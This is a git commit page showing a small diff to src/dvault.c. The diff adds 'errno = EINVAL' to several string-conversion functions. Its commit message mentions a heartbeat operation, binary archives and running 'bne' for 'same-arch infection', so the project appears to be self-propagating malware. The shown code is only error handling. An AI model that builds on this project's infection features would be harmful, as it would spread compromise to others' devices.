diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/dvault.c | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/dvault.c')
-rw-r--r-- | src/dvault.c | 4 |
1 files changed, 3 insertions, 1 deletions
diff --git a/src/dvault.c b/src/dvault.c index 602ec70..3a286f5 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -43,6 +43,7 @@ const char *prne_data_type_tostr (const prne_data_type_t t) { case PRNE_DATA_TYPE_CSTR: return "cstr"; case PRNE_DATA_TYPE_BIN: return "bin"; } + errno = EINVAL; return NULL; } @@ -53,7 +54,7 @@ prne_data_type_t prne_data_type_fstr (const char *str) { if (prne_nstreq(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN))) { return PRNE_DATA_TYPE_BIN; } - + errno = EINVAL; return PRNE_DATA_TYPE_NONE; } @@ -128,6 +129,7 @@ const char *prne_dvault_mask_result_tostr ( case PRNE_DVAULT_MASK_TOO_LARGE: return "data too large"; case PRNE_DVAULT_MASK_INVALID_TYPE: return "invalid type"; } + errno = EINVAL; return NULL; } |